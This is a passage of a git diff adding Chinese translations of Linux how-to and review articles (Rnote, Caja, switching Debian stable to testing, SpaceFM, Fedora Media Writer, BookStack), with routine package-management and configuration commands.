SVG 文件导入 +- 使用原生的 .rnote 文件来保存/加载文件 +- 支持导出到 SVG 和 PDF +- 自动保存功能 +- 深色/浅色模式 + +开发者指出,Rnote 使用的原生文件格式可能不够稳定,无法在较新版本的应用之间兼容。 + +因此,在将 Rnote 升级到最新版本之前,最好在完成工作后将其导出。 + +除了它的功能外,你还能通过可用的选项获得良好的用户体验。它不会让人感到压抑,你可以快速访问所有的工具。 + +一些自定义功能可以隐藏滚动条,改变光标,并调整绘图光标。 + +你还可以调整自动保存启动的时间间隔,这在各种使用情况下应该很方便。 + +![rnote screenshot 1][5] + +### 在 Linux 上安装 Rnote + +Rnote 在 [Flathub][6] 上以 Flatpak 的形式提供。因此,只要你的系统启用了 [Flatpak][7],你就可以在任何 Linux 发行版上安装它。 + +你可以在你的软件中心找到它(如果 Flatpak 集成已被启用),或者输入以下命令来安装它: + +``` +flatpak install flathub com.github.flxzt.rnote +``` + +要探索更多关于 Rnote 的信息,请前往其 [GitHub 页面][8]。 + +### 总结 + +Rnote 正在积极开发,并在其功能设置方面取得了良好的进展。如果你喜欢 Rnote,你可能想看看 [Xournal++][9],它是另一个能让你做手写笔记的应用。 + +你还知道其他像 Rnote 这样令人兴奋的应用吗?你觉得 Rnote 怎么样?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/rnote/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2022/11/rnote-screenshot.png +[3]: https://itsfoss.com/content/images/wordpress/2022/11/rnote-settings.png +[4]: https://rnote.flxzt.net +[5]: https://itsfoss.com/content/images/wordpress/2022/11/rnote-screenshot-1.png +[6]: https://flathub.org/apps/details/com.github.flxzt.rnote +[7]: https://itsfoss.com/flatpak-guide/ +[8]: https://github.com/flxzt/rnote +[9]: https://xournalpp.github.io diff --git a/published/202302/20221210.0 ⭐️ How to use the Linux file manager for GNOME 2.md b/published/202302/20221210.0 ⭐️ How to use the Linux file manager for GNOME 2.md new file mode 100644 index 0000000000..6435a83e33 --- /dev/null +++ b/published/202302/20221210.0 ⭐️ How to use the Linux file manager for GNOME 2.md @@ -0,0 +1,79 @@ +[#]: subject: "How to use the Linux file manager for GNOME 2" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-caja" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15531-1.html" + +GNOME 2 的 Linux 文件管理器 Caja +====== + +![][0] + +> 如果你是 GNOME 2 的粉丝,那么你肯定会发现 Caja 很熟悉,如果你从来没有使用过 GNOME 2,那么你可能会在 Mate 中找到你的新宠桌面。 + +在 GNOME 3 之前是 GNOME 2(废话),在其作为常见的默认 Linux 桌面之一的统治期间,它拥有了一个热心的粉丝群。[Mate 项目][1](以植物 _yerba mate_ 命名)最初是为了延续 GNOME 2 桌面的生命力,它起初是使用 GTK 2(基于 GNOME 2 的工具包)开发的,后来升级为 GTK 3。该桌面包含了一个 Caja 文件管理器,这是一个简单而强大的应用,可以帮助你分类和组织你的数据。 + +### 安装 Caja + +Caja 并不完全是一个独立的应用。它与 Mate 桌面紧密相连,所以要试用它,你必须安装 Mate。 + +你可能会发现 Mate 包含在你的 Linux 发行版的仓库中,或者你可以下载并安装一个将 Mate 作为默认桌面的发行版。不过,在你安装之前,要注意它是为了提供完整的桌面体验,所以会和桌面一起安装许多 Mate 应用。如果你运行一个不同的桌面,你可能会发现自己有多余的应用(两个 PDF 阅读器,两个媒体播放器,两个文件管理器,等等)。要评估 Caja 不会对你的电脑做重大改动,可以使用 [GNOME Boxes][2] 在虚拟机中安装一个基于 Mate 的发行版。 + +![Image of the Caja file manager.][3] + +### 清晰的布局 + +你可能首先注意到的是 Caja 的清晰而直接的布局。在 Caja 窗口的顶部有一个工具栏,上面有一些常用任务的按钮。我喜欢这样的设计。功能不是隐藏在右键菜单中,也不是只有在操作后才能发现,更不是埋在菜单中。窗口的“显而易见”的操作被直接列在上面。 + +主工具栏下面是位置栏。它显示你当前的路径,可以是一系列的按钮,也可以是可编辑的文本。使用路径左边的 “编辑Edit” 按钮来切换它是否可编辑。 + +### 可配置 + +对于 GNOME 2 或 Caja 的长期用户来说,主工具栏可能是多余的,尤其是当你知道了调用常用操作的键盘快捷键后。这就是为什么 Caja 的界面是可配置的。你可以从 “查看View” 菜单中禁用 Caja 窗口的主要组件,包括: + +- 主工具条 +- 位置栏 +- 侧面板 +- 附加面板 +- 状态栏 + +简而言之,你可以按你的想法精简 Caja。 + +![Image of a minimal Caja layout.][4] + +### 标记你的文件夹 + +有些人是 “可视化” 人。他们喜欢根据自己对数据的看法来组织文件和文件夹,而不是根据计算机对数据的解释。例如,如果对你来说最重要的两个文件夹是**音乐**和**工作**,就很难让计算机相信这两者之间有任何关系。按字母顺序两者也排不到一起,而且每个文件夹的内容可能完全不同(一个是媒体文件,另一个是电子表格)。 + +### Caja 提供了一些帮助 + +使用 Caja,你可以在一个窗口内手动放置目录,Caja 会记住这个位置。更重要的是,Caja 有多种标志可供你用作视觉标签。你可以在 “编辑Edit” 菜单的 “背景和标志Backgrounds and Emblems” 中找到它们。将它们拖放到文件和文件夹中以帮助它们区分。 + +![Image of emblems in Caja.][5] + +### Caja + +Caja 是最诱人的文件管理器之一。它的可配置性足以吸引许多不同的使用场景,而且在这些配置选项中,你很可能找到适合你的工作流程。如果你是 GNOME 2 的粉丝,那么你肯定会发现 Caja 很熟悉,如果你从来没有使用过 GNOME 2,那么你可能会在 Mate 中找到你的新宠桌面。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-caja + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/mate-linux-desktop +[2]: https://opensource.com/article/19/5/getting-started-gnome-boxes-virtualization +[3]: https://opensource.com/sites/default/files/2022-10/caja.file%20manager.png +[4]: https://opensource.com/sites/default/files/2022-10/caja-minimal-layout.png +[5]: https://opensource.com/sites/default/files/2022-10/caja-emblem.webp +[0]: https://img.linux.net.cn/data/attachment/album/202302/12/093538qnlj0jdunz10n17c.jpg \ No newline at end of file diff --git a/published/202302/20221215.0 ⭐️⭐️ How to Switch from Debian Stable to Testing.md b/published/202302/20221215.0 ⭐️⭐️ How to Switch from Debian Stable to Testing.md new file mode 100644 index 0000000000..651af6f752 --- /dev/null +++ b/published/202302/20221215.0 ⭐️⭐️ How to Switch from Debian Stable to Testing.md @@ -0,0 +1,162 @@ +[#]: subject: "How to Switch from Debian Stable to Testing" +[#]: via: "https://itsfoss.com/switch-debian-stable-testing/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15520-1.html" + +如何从 Debian 稳定版切换到测试版 +====== + +![][0] + +如果你正在寻找最稳定的 Linux 发行版,当然,Debian 是正确的选择。 + +特别是如果你打算在服务器上使用它。 + +但是,在桌面方面,情况就有点不同了。我的意思是,你得到的软件包至少是一年前的,对新时代硬件的支持甚至更糟。 + +那么,在这种情况下,你会怎么做呢?好吧,你可以使用 Debian 测试版Testing。 + +但在跳到解释部分之前,让我们简单了解一下 Debian 测试版。 + +### 什么是 Debian 测试版? + +Debian 社区为你提供 3 种不同的 Debian: + +- Debian 稳定版Stable(你从他们的主页上默认得到的东西)。 +- Debian 测试版Testing(有**新的软件包**,比 Debian 不稳定版更少出现故障)。 +- Debian 不稳定版Unstable(拥有最新的软件包,是**所有版本中最脆弱的**)。 + +因此,Debian 测试版可以被认为是稳定性和新软件包之间的一个折中点。 + +我已经玩了一段时间的 Debian 测试版,没有遇到任何问题。 + +事实上,许多 Debian 用户喜欢测试版而不是稳定版。尽管名字叫“测试”,但它是相当可用的。 + +但是,**我还是建议你在虚拟机上进行实验**,尝试用你的主要工具来使用它,如果事情进展顺利,你可以在主系统中应用这些变化。 + +### 从 Debian 稳定版切换到 Debian 测试版 + +**警告:你不能从 Debian 测试版降级到 Debian 稳定版,因为安装脚本和安装工具只是为了用新版本替换旧版本而设计的。** + +另外,我建议在你的主机上应用上述步骤之前,[使用 timeshift 创建一个备份][1] 。 + +首先,使用给定的命令更新现有的软件包: + +``` +sudo apt update && sudo apt upgrade -y +``` + +接下来,复制原始的 `sources.list` 文件: + +``` +sudo cp /etc/apt/sources.list sources.list.backup +``` + +现在,让我们开始第一步的工作。 + +#### 步骤 1:编辑 sources.list 文件 + +有两种方法可以编辑 `sources.list` 文件。要么你可以用 `testing` 手动改变当前版本的名称,要么你可以 [使用 sed 命令][2] 来完成。 + +而我要用第二种方法来使整个过程更简单。你只需要使用给定的命令,它就会为你把 `bullseye` 替换成 `testing`: + +``` +sudo sed -i 's/bullseye/testing/g' /etc/apt/sources.list +``` + +现在,打开你的终端,使用给定的命令来打开 `sources.list` 文件: + +``` +sudo nano /etc/apt/sources.list +``` + +并注释掉有 `security.debian.org` 和任何以 `updates` 结尾的行,如下所示: + +![comment out security sources][3] + +如果你像我一样使用 `nano`,你可以按 `Alt + /` 跳到该行的最后。然后你要添加以下一行: + +``` +deb http://security.debian.org testing-security main +``` + +![add line to keep track of testing in debian][4] + +然后 [保存修改并退出 nano][5] 文本编辑器。 + +#### 步骤 2:更新仓库并安装新的软件包 + +现在,更新仓库索引,它会显示大量的更新等待: + +``` +sudo apt update +``` + +![update repository in linux][6] + +现在,你可以使用给定的命令,它将为你提供最新的软件包: + +``` +sudo apt upgrade +``` + +坐下来,放松一下,因为这将需要一些时间。 + +完成后,它将向你展示从 Debian 稳定版切换到测试版时的变化列表: + +![packages that are updated when switched to debian testing][7] + +如果你愿意,你可以阅读,或者你可以**直接按** `q` 继续。 + +现在,它会告诉你,你系统上安装的一些库需要重新启动。按 `TAB` 键,它将选择 “OK”,然后按**回车**:。 + +![libraries needs to be restarted after update][8] + +接下来,它会问你是否要在软件包升级期间重启服务。这里你有一个选择。由于我只做桌面使用,我将选择 “YES”。 + +![restart services during package upgrades without asking?][9] + +完成后,你可以重启你的系统,然后使用下面的命令,让你刚才的改变完全生效: + +``` +sudo apt full-upgrade +``` + +现在,重启你的系统,你就会拥有最新的软件包。比如**我进入系统时我在运行 GNOME 43**: + +![running gnome 43 in debian][10] + +### 总结 + +在本教程中,我解释了如何从 Debian 稳定版切换到 Debian 测试版。我希望这对你会有帮助。 + +如果你遇到任何问题或有任何疑问,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/switch-debian-stable-testing/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/backup-restore-linux-timeshift/ +[2]: https://linuxhandbook.com/sed-command-basics/ +[3]: https://itsfoss.com/content/images/wordpress/2022/11/comment-out-security-sources.gif +[4]: https://itsfoss.com/content/images/wordpress/2022/11/2.-add-line-to-keep-track-of-testing-in-debian.png +[5]: https://linuxhandbook.com/nano-save-exit/ +[6]: https://itsfoss.com/content/images/wordpress/2022/11/update-repository-in-linux.png +[7]: https://itsfoss.com/content/images/wordpress/2022/11/packages-that-are-updated-when-switched-to-debian-testing.png +[8]: https://itsfoss.com/content/images/wordpress/2022/11/libraries-needs-to-be-restarted-after-update.png +[9]: https://itsfoss.com/content/images/wordpress/2022/11/restart-services-during-package-upgrades-without-asking.png +[10]: https://itsfoss.com/content/images/wordpress/2022/11/running-gnome-43-in-debian.png +[0]: https://img.linux.net.cn/data/attachment/album/202302/08/122659a4919hso9onkbmun.jpg \ No newline at end of file diff --git a/published/202302/20221219.2 ⭐️⭐️ Discover the power of the Linux SpaceFM file manager.md b/published/202302/20221219.2 ⭐️⭐️ Discover the power of the Linux SpaceFM file manager.md new file mode 100644 index 0000000000..fc4c8e57f9 --- /dev/null +++ b/published/202302/20221219.2 ⭐️⭐️ Discover the power of the Linux SpaceFM file manager.md @@ -0,0 +1,98 @@ +[#]: subject: "Discover the power of the Linux SpaceFM file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-spacefm" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15514-1.html" + +发现 Linux SpaceFM 文件管理器的威力 +====== + +![][0] + +> 如果你对 Linux 上的文件管理器感到满意,但你想尝试一个设计上有点不同的文件管理器,SpaceFM 值得一看。 + +SpaceFM 是一个使用 GTK 工具包的 Linux 的标签式文件管理器,所以它很适合在 [GNOME][1]、[Mate][2]、[Cinnamon][3] 等的桌面上使用。SpaceFM 还具有一个内置的设备管理器系统,所以它特别适合于 [Fluxbox][4] 或 [fvwm][5] 之类的窗口管理器,它们通常不包括图形设备管理器。如果你对 Linux 上的文件管理器满意,但你想尝试一个设计上有点不同的文件管理器,SpaceFM 值得一看。 + +### 安装 SpaceFM + +在 Linux 上,你可能会在你的发行版的仓库中找到 **SpaceFM**。在 Fedora、Mageia、OpenMandriva 和类似的软件中: + +``` +$ sudo dnf install spacefm +``` + +在 Debian 和基于 Debian 的系统上: + +``` +$ sudo apt install spacefm +``` + +### 面板 + +我不知道为什么 SpaceFM 被称为 SpaceFM,但可能是因为它致力于让你把窗口中的每一点空间都用来做有用的事情。默认情况下,SpaceFM 实际上是相当简单的、标准的文件管理器。它有一个列出你的文件的面板,一个工具栏,和一个菜单栏。 + +![SpaceFM is typical in design. At first.][6] + +所有的“常规”规则都适用。 + +- **双击**打开一个目录或在其默认的应用中打开一个文件。 +- **右键点击**可获得一个上下文菜单,提供许多标准选项(复制、粘贴、重命名、查看属性、创建新文件夹,等等)。 + +不过,SpaceFM 使自己与众不同的方式是它的面板系统。SpaceFM 默认显示一个面板。这就是占据大部分空间的文件列表窗口。但它最多可以有四个面板视图,再加上一些用于某些特定任务的额外面板。 + +### 打开一个新的面板 + +在你的文件管理器中,你可以看到两个目录,而不是看到一个目录。要在自己的窗格中调出另一个目录,按 `Ctrl+2` 或进入 “视图View” 菜单,选择 “面板二Panel 2”。或者,点击菜单面板中从左开始的第二个绿点图标。 + +有了两个面板,你可以把文件从一个目录移到另一个目录,而不需要打开一个新的文件管理器窗口,或者你可以浏览两个目录来比较其内容。 + +但为什么要满足于两个面板呢?也许你更想一次看到三个目录。要在一个专门的窗格中调出第三个目录,请按 `Ctrl+3` 或进入 “视图View” 菜单,选择 “面板三Panel 3”。或者,点击菜单面板中从左开始的第三个绿点图标。这个面板出现在 SpaceFM 窗口的底部。 + +打开三个面板后,你可以在几个目录之间移动文件,或将文件从一个公共的“垃圾场”(如你的桌面或下载文件夹)分类到特定的目录。 + +当然,当你尝试了三个面板,你可能会发现自己很想拥有第四个面板。要在自己的窗格中打开第四个目录,以此类推。或者,点击菜单面板中从左开始的第四个绿点图标。这个会在面板三旁边打开,并将你的 SpaceFM 窗口分成四份。 + +![SpaceFM can have up to four panels.][7] + +那么 _第五个_ 面板呢?好吧,实际上 SpaceFM 仅有四个面板。如果你真的想有第五个面板,你必须打开一个新的 SpaceFM 窗口。然而,仍有更多的面板,用于文件列表以外的信息,可供探索。 + +### 特殊面板 + +在 “视图View” 菜单中可以看到,除了文件面板外,还有一些特定的任务面板可以选择显示。这包括: + +- “任务管理器Task manager”:列出正在进行的文件管理器进程。这不是一个通用的任务管理器,所以要设置 nice 值或检测僵尸 PID,[htop 或 top][8] 仍然是你应该选择的工具。 +- “书签Bookmarks”:常用文件夹的链接,如桌面、文档、下载和任何你想保持方便的位置。 +- “设备Devices”:USB 驱动器和远程文件系统。 +- “文件树File tree”:按照目录继承顺序查看文件系统。 + +这些面板在 SpaceFM 的左侧打开,但它们是堆叠的。你可以同时打开书签、设备、任务和文件树,尽管它会有一个非常高的 SpaceFM 窗口。 + +### 为 SpaceFM 腾出空间 + +SpaceFM 是一个可配置的多任务文件管理器。它最大限度地增加了你可以在一个窗口中展示的信息,并让你决定什么是重要的,以及什么时候重要。本文重点介绍了 SpaceFM 的面板,因为至少在我看来,这些是该应用最独特的方面。然而,SpaceFM 还有很多东西,包括插件、首选项、设计模式、键盘快捷键和自定义。这不是一个小型应用,尽管它是轻量级的。花些时间在 SpaceFM 上,因为你永远不知道你会发现什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-spacefm + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/gnome-linux-desktop +[2]: https://opensource.com/article/19/12/mate-linux-desktop +[3]: https://opensource.com/article/19/12/cinnamon-linux-desktop +[4]: https://opensource.com/article/19/12/fluxbox-linux-desktop +[5]: https://opensource.com/article/19/12/fvwm-linux-desktop +[6]: https://opensource.com/sites/default/files/2022-10/spacefm.webp +[7]: https://opensource.com/sites/default/files/2022-10/spacefm-panels.webp +[8]: https://opensource.com/life/16/2/open-source-tools-system-monitoring +[0]: https://img.linux.net.cn/data/attachment/album/202302/06/155511zdru3ulr4xmxeekj.jpg \ No newline at end of file diff --git a/published/202302/20221219.3 ⭐️⭐️ Fedora Media Writer World-Class LIVE USB Creator [Tutorial].md b/published/202302/20221219.3 ⭐️⭐️ Fedora Media Writer World-Class LIVE USB Creator [Tutorial].md new file mode 100644 index 0000000000..cddc0f21cc --- /dev/null +++ b/published/202302/20221219.3 ⭐️⭐️ Fedora Media Writer World-Class LIVE USB Creator [Tutorial].md @@ -0,0 +1,145 @@ +[#]: subject: "Fedora Media Writer: World-Class LIVE USB Creator [Tutorial]" +[#]: via: "https://www.debugpoint.com/fedora-media-writer/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15499-1.html" + +Fedora Media Writer:顶级的立付 USB 创建器 +====== + +> 关于安装和使用 Fedora Media Writer 从 Linux 和 Windows 创建立付 USB 的教程。 + +![Fedora Media Writer][1] + +### Fedora Media Writer + +社区和 Fedora Linux 团队开发并维护了 [Fedora Media Writer 应用][2]。这个应用可以将任何 ISO 镜像写入你的闪存盘(U 盘)中。此外,Fedora Media Writer 还有直接从 Fedora 镜像中下载 ISO 文件的功能,前提是你有一个稳定的互联网连接。 + +此外,它还为你提供了一个下载选项列表:比如官方版本、新兴版本、定制版和实验室版本的镜像。 + +不仅如此,你还可以使用这个灵巧的工具将任何其他 ISO 镜像写入你的闪存。它不总是需要 Fedora ISO。 + +虽然有其他流行的工具可以用来创建 立付Live USB ,比如 [Etcher][3]、Ventoy 和 Rufus,但考虑到该团队是从主流 Fedora Linux 与贡献者一起开发的,你仍然可以尝试使用此程序。 + +> **LCTT 译注**:特此说明一下使用 “立付” 一词作为 “Live” 的中文翻译。 +> +> Live 原意多指“现场”、“实时”,在计算机环境中使用时也多引用此意。但对它的翻译就颇费神,因为无论是在 Live Patch,还是更多见的 Live USB/CD、Live Session,其实都不好翻译为“现场”、“实时”。 +> +> 提议者之前曾经尝试创造了新的“[临场](https://linux.cn/article-12854-1.html)”词汇,但是感觉有些不够达意。经过推敲,提议者再次推荐使用“立付”,在照顾发音的同时,取其“立时交付”之意。这样,Live USB/CD 可以译做 “立付 USB/CD”,Live Session 可以译做 “立付会话”。 +> +> 详见我们发布的[《LCTT 术语词典》](https://linux.cn/article-15496-1.html)。 + +因此,综上所述,这里是 Fedora Media Writer 的快速功能亮点。 + +#### Fedora Media Writer 的功能摘要 + +- 适用于 Linux、Windows 和 macOS +- 直接下载 + 写入镜像到 USB 闪存 +- 官方版本(Workstation、IoT、Server)下载 +- 新兴版本(Silverblue、Kinoite)下载 +- 定制版(KDE Plasma、Xfce 等) +- 实验室(Fedora Astronomy、Robotic 等) +- 可作为 Linux 发行版的 Flatpak 包 +- 同时,可以将任何其他 ISO 镜像(非 Fedora)写入 U 盘。 +- 能够格式化 U 盘,恢复 U 盘 +- 基于 Qt + +### 如何安装 + +#### Linux + +Fedora Media Writer 以 Flatpak 的形式提供给 Linux 发行版。要在任何 Linux(如 Fedora、Ubuntu 或 Linux Mint)中安装它,请 [按照这个指南设置 Flatpak][4]。 + +然后,点击下面的链接进行安装。这将启动你的 Linux 发行版的官方软件程序(如 发现Discover应用、GNOME 软件Software 应用)。安装后,你可以通过应用程序菜单启动它。 + +> **[以 Flatpak 形式安装 Fedora Media Writer][5]** + +#### Windows + +如果你是一个计划迁移到 Linux(如 Fedora)的 Windows 用户,它是一个完美的工具。你需要从 GitHub 上下载 exe 安装程序(链接如下),并按照屏幕上的指示进行安装。 + +> **[用于 Windows 的最新安装程序(exe)][6]** + +安装完成后,你可以从开始菜单启动它。 + +#### macOS + +对于 macOS,你可以在上述链接中获取 dmg 文件。 + +> **[用于 macOS 的最新安装程序(dmg)][6]** + +### 如何使用 Fedora Media Writer 在 Linux 中创建立付 USB + +第一个页面给你两个主要选项。自动下载Download automatically 选项用于即时下载 ISO 镜像。第二个选项是直接从你的磁盘上写入已经下载的 ISO 文件。 + +如果你已经插上了 USB,你应该看到它是第三个选项。第三个选项是格式化并删除你 U 盘中的所有数据,并将其恢复到出厂设置。 + +此外,你也可以用这个工具来格式化你的 USB 闪存。你不需要任何命令或任何花哨的东西。需要注意的一点是,这个选项只有在你的 U 盘有数据时才可见。如果它已经被格式化了,该工具可以检测到它,但不会显示恢复它的选项!! 😲 + +#### 自动下载和写入 + +![Fedora Media Writer - 第一个页面][7] + +自动下载Download automatically选项为你提供了以下页面,可以从镜像中下载任何你想要的 Fedora ISO。这对很多人来说很有用,因为它消除了单独下载 ISO 文件、验证校验和等的麻烦。 + +![自动下载选项给了你这些选项][8] + +在选择了发行版之后,最后的页面会给你版本(Fedora 36、35 等)和架构(x86、ARM 等)的选项。另外,你应该看到目标 USB。点击 “下载并写入Download & Write”,开始这个过程。 + +![Fedora Media Writer 的最终写入页面][9] + +#### 从磁盘上写入一个现有的 ISO 文件 + +当你选择 “选择 ISO 文件select .iso file” 时,你可以从系统中选择该文件。之后,选择目标 USB 驱动器,然后点击 “写入Write”,开始这个过程。 + +![通过 Fedora Media Writer 直接写入 ISO][10] + +![写入进行中][11] + +![写入完成][12] + +写入操作完成后,你可以看到如上所示的确认信息。在我的测试中,写一个大约 3GB 的 ISO 需要大约 3 到 4 分钟。 + +### 使用 Fedora Media Writer 在 Windows、macOS 中创建 LIVE USB + +在 Windows 和 macOS 中使用这个工具的步骤是一样的,就像上面显示的 Linux 一样。你可以在安装后轻松找到快捷方式,并以同样的方式启动。 + +![在 Windows 11 中运行][13] + +### 结束语 + +我希望本指南能帮助你在日常的 USB 写入工作中使用 Fedora Media Writer。另外,这个工具的好处是你可以用它来格式化/恢复你的 U 盘。你不再需要 GParted 或 GNOME 磁盘Disks 应用了。 + +对于 Linux、Windows 和 macOS 用户来说,这是一个非常棒的程序。 + +加油。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/fedora-media-writer/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/05/fmwhead2022.jpg +[2]: https://github.com/FedoraQt/MediaWriter +[3]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/ +[4]: https://flatpak.org/setup/ +[5]: https://dl.flathub.org/repo/appstream/org.fedoraproject.MediaWriter.flatpakref +[6]: https://github.com/FedoraQt/MediaWriter/releases/latest +[7]: https://www.debugpoint.com/wp-content/uploads/2022/05/Fedora-Media-Writer-First-Screen.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/The-automatic-download-options-gives-you-these-options.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/05/The-final-Write-screen-of-Fedora-Media-Writer.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/05/Direct-ISO-write-via-Fedora-Media-Writer.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/05/Writing-is-in-progress.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/05/Writing-Complete.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/05/Running-in-Windows-11.png \ No newline at end of file diff --git a/published/202302/20230103.1 ⭐️⭐️ Document with BookStack, an open source Confluence alternative.md b/published/202302/20230103.1 ⭐️⭐️ Document with BookStack, an open source Confluence alternative.md new file mode 100644 index 0000000000..3339cc14dd --- /dev/null +++ b/published/202302/20230103.1 ⭐️⭐️ Document with BookStack, an open source Confluence alternative.md @@ -0,0 +1,103 @@ +[#]: subject: "Document with BookStack, an open source Confluence alternative" +[#]: via: "https://opensource.com/article/23/1/bookstack-open-source-documentation" +[#]: author: "Dan Brown https://opensource.com/users/ssddanbrown" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15509-1.html" + +使用 BookStack 写文档,一个开源的 Confluence 替代品 +====== + +![][0] + +> BookStack 是一个开源的、基于网页的文档系统,它允许你创建一个结构化的知识库,供个人、团队或公司使用。 + +BookStack 是一个开源的、基于网页的文档系统,它允许你创建一个结构化的知识库供个人、团队或公司使用。BookStack 专注于易用性和设计,以适合具有潜在的混合技术技能的受众。它建立在 PHP 框架 Laravel 之上,使用 MySQL 或 MariaDB 作为数据存储。 + +在尝试为我的工作场所寻找文档或维基系统后,我构建了 BookStack。[Confluence][1] 是最符合我要求的选项,但基于用户的定价带了的阻碍。Confluence 的封闭性也对我要构建的文档的寿命提出了质疑。最后,我决定建立自己的平台来满足我的需求。我用 MIT 许可发布它,以回馈我多年来喜爱并从中受益的开源社区。 + +### 内容层次和组织选项 + +为了保持熟悉和直观,BookStack 使用了现实世界的书籍术语来描述其组织结构。文档内容被创建为 “Page”: + +- “页” 属于一个特定的 “Book”。 +- 在一本书中,“页” 可以选择性地被分组为 “章节Chapter”。 +- 随着文档的增长,你可以使用 “书架Shelve” 来对 “书” 进行分类,如果需要,“书” 可以成为多个书架的一部分。 + +这种结构是 BookStack 的核心,而且往往是决定 BookStack 是否适合你的使用情况的选择因素。 + +在这个核心层次上,BookStack 还提供了标签、用户收藏夹和高级搜索功能,以确保内容可被发现。 + +### 编写文档 + +在 BookStack 中编写文档的主要方法是通过使用其所见即所得(WYSIWYG)编辑器,它利用了开源的 [Tiny][2] 项目。这个编辑器提供了一系列的内容格式,包括: + +- 各种标题级别 +- 代码块 +- 可折叠的块 +- 表格 +- 图片 +- 链接 +- iFrame 嵌入 +- 提醒呼出 +- 项目符、编号和任务列表 +- 绘图(通过与开源 [diagrams.net][3] 的整合) + +如果你喜欢 [Markdown][4],你可以使用内置的 Markdown 编辑器,它提供实时预览并支持与所见即所得编辑器相同的功能集。如果权限允许,你甚至可以根据你所编辑的页面,在这些编辑器选项之间跳转。 + +### 你的数据是如何存储的 + +如果使用了 Markdown,除了原始的 Markdown 内容外,文档以相对简单的 HTML 格式存储在 [MySQL 或 MariaDB][5] 数据库中。很多设计和开发决定都是为了保持这种 HTML 格式的简单性。它尽可能地使用普通的标准 HTML 元素,以确保原始文档内容保持开放和可移植。 + +上传的图片、附件和创建的图纸被保存在本地文件系统中,但也可以选择存储在一个与 s3 兼容的数据存储中,比如开源的 [MinIO][6]。 + +为了保持你的内容可访问性,有内置的选项可以将内容导出为 PDF、HTML、纯文本或 Markdown。对于外部使用,有一个 HTTP REST API 和一个 Webhook 系统。在扩展方面,一个 “逻辑主题系统” 允许在广泛的系统事件中运行自定义的 PHP 代码。 + +### 为商业做好准备 + +BookStack 具有一系列的功能来支持商业环境。内置了对一系列认证选项的支持,包括 SAML2、OpenID Connect 和 LDAP,允许使用 [KeyCloak][7] 等平台轻松实现单点登录。也支持多因子认证(MFA),并且可以根据角色进行授权。审计日志提供整个实例的修改活动的完整可见性。 + +一个完全基于角色的权限系统为管理员提供了对系统内容的创建、查看、更新和删除操作的完全控制。这允许每个角色的系统默认值,以及在每个层次项目基础上设置自定义权限的选项。 + +### 支持的社区 + +经过 7 年多的积极开发,BookStack 的社区已经发展到了各种讨论和支持的渠道。我们现在有: + +- [我们的文档站点][8] +- [YouTube 上的视频指南][9] +- [一个 subreddit][10] +- [一个活跃的 GitHub 问题列表][11] +- [付费业务支持][12] + +如果你想体验一下 BookStack,你可以 [在我们的演示网站][13] 试试。要了解如何设置你自己的实例,请访问 [我们文档中的安装页面][14]。 + 